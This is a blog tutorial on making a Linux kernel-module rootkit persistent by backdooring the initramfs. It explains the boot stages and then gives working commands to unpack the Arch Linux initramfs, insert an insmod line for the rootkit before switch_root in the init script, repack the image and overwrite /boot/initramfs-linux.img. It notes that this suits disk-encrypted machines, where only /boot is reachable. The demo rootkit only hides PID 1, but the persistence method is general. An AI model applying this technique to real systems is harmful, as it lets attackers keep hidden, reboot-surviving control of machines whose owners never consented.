Backdoor initramfs and Make Your Rootkit Persistent
Pub 2017-04-26; LastMod 2017-04-26In the last post I explained how to hide Linux processes with an LKM rootkit. As you might know, Linux kernel modules are not persistent; that means that you have to insert your module each time your system goes through a reboot.
âBut how the heck do I have modules loaded at startup ? Is lsmod
bullshitting me ?â you might be asking.
The short answer: âinitramfsâ
The long answer is, well, longer and needs some explanations first.
Before I explain the intricacies of how we can use initramfs to load our rootkit at startup, letâs have a look at the system boot process :
The linux boot process can be summarized in 5 stages :
- UEFI/BIOS: The first program that runs when you hit the power button. It ensures that the necessary hardware (keyboard, RAMâŚ) for bootup is present, initializes the hardware and executes the boot code from the configured boot device (say your SSD or live USB)
- The bootloader (can be GRUB as shown in the diagram, or something different) presents to the user multiple entries to choose from. Each entry is associated with a different OS or OS boot mode. Once an option is chosen, the bootloader locates the partition where the kernel is (/boot for Linux), loads the kernel in memory (eventually supply options) and then fires it up.
- Linux sets up system functions, calls the
start_kernel()
function which initializes, among others, interrupts, MMU, devices⌠- Here comes initramfs. To break it down, initramfs is just a compressed archive containing the initial filesystem that will be mounted in memory (yeah, initramfs is for initial ram filesystem). At the root of this filesystem lays an executable shell script named
init
and whose job is to go through all the steps to mount the real filesystem (the one you have on your system right now as you read this article). In order to mount your real (final) filesystem, it should be known by the kernel (otherwise the kernel wouldnât know how to deal with it). Since there is a s**tload of available filesystems and that Linux couldnât possibly know all of them, these filesystems come in the form of kernel modules. Therefore, initramfs comes with kernel modules (for filesystems, device drivers and other stuff) that get inserted in the kernel in the process (if the kernel was not compiled statically). - Once the filesystem has been mounted, the init system (e.g systemd) takes control and launches the necessary applications/daemons to give you the greatest possible user-space experience !
If you wish to have more details about the bootup process, I recommend these awesome articles (here and here) by Gustavo Duartes. He has a lot of worthwhile and well explained articles that you might find very interesting.
** The next steps have been tested on a box with ArchLinux installed **
Now that we know how the computer boots up and that initramfs can load kernel modules, letâs see how this archive looks like. First we will decompress and dearchive initramfs :
$ mkdir /tmp/backdoored_initramfs && cd /tmp/backdoored_initramfs
$ lsinitcpio -x /boot/initramfs-linux.img
$ ls -Al
total 32
lrwxrwxrwx 1 nisay nisay 7 7 avril 10:40 bin -> usr/bin
-rw-r--r-- 1 nisay nisay 2495 7 avril 10:40 buildconfig
-rw-r--r-- 1 nisay nisay 78 7 avril 10:40 config
drwxr-xr-x 2 nisay nisay 40 7 avril 10:40 dev
drwxr-xr-x 4 nisay nisay 180 7 avril 10:40 etc
drwxr-xr-x 2 nisay nisay 80 7 avril 10:40 hooks
-rwxr-xr-x 1 nisay nisay 2093 7 avril 10:40 init
-rw-r--r-- 1 nisay nisay 13140 7 avril 10:40 init_functions
lrwxrwxrwx 1 nisay nisay 7 7 avril 10:40 lib -> usr/lib
lrwxrwxrwx 1 nisay nisay 7 7 avril 10:40 lib64 -> usr/lib
drwxr-xr-x 2 nisay nisay 40 7 avril 10:40 new_root
drwxr-xr-x 2 nisay nisay 40 7 avril 10:40 proc
drwxr-xr-x 2 nisay nisay 40 7 avril 10:40 run
lrwxrwxrwx 1 nisay nisay 7 7 avril 10:40 sbin -> usr/bin
drwxr-xr-x 2 nisay nisay 40 7 avril 10:40 sys
drwxr-xr-x 2 nisay nisay 40 7 avril 10:40 tmp
drwxr-xr-x 5 nisay nisay 140 7 avril 10:40 usr
-rw-r--r-- 1 nisay nisay 2 7 avril 10:40 VERSION
The listing shows the structure of the initial filesystem. The new_root directory is the root where your new filesystem will be mounted, and to which the init script will switch_root
into.
As we said earlier, the init script is the first thing that gets launched in userspace, and we are going to take advantage of this fact to load our rootkit as early as possible. But first, we need to make our LKM module available for the init script. In this example, weâre going to use the PHide rootkit, a dummy rootkit that hides process id 1, which is perfectly fine for the sake of demo.
Compile the rootkit, and place the kernel module at the root of the initramfs archive :
$ make && cp phide.ko /tmp/backdoored_initramfs
Next, open the init script in your text editor, and scroll down to the end. Near line 70, you should see the following lines :
# this should always be the last thing we do before the switch_root
rdlogger_stop
exec env -i \
"TERM=$TERM" \
/usr/bin/switch_root /new_root $init "$@"
switch_root
changes the root of the filesystem, so we should insert our rootkit before calling it, otherwise our rootkit module that we copied at the root of the initramfs wonât be available anymore. Add this line before the comment :
insmod /phide.ko
# this should always be the last thing we do before the switch_root
This should do it. Note that the man page for switch_root
states that it âmoves already mounted /proc, /dev, /sys and /run to newrootâ. We can also copy our rootkit module to /dev
or /run
in order to make it available after switch_root
has been executed, but weâll need to hook some userland scripts to actually insert our rootkit (e.g. systemd init scripts).
In case of a disk encryption, youâll probably only have access to the /boot
partition, so the first method is more suitable and weâll stick to it.
Next, we need to reassemble the contents of our folder into an initramfs image :
$ find -mindepth 1 -printf '%P\0' | LANG=C bsdcpio -0 -o -H newc --quiet | gzip > /tmp/rk.img
The options passed to the find command may differ on your system. To find out which options to pass, refer to /usr/bin/mkinitcpio
: Around line 232, youâll see a call to the find command with the options needed to build a working initramfs for your system.
Once the backdoored initramfs image has been generated, all what is left to do is overwrite the original initramfs archive :
$ cp /tmp/rk.img /boot/initramfs-linux.img
Reboot and check the content of /proc
, the folder associated with PID 1 should be gone. You can confirm that the rootkit is inserted by issuing :
$ lsmod | grep phide
And thatâs it. Now your rootkit gets loaded every time you reboot your system :D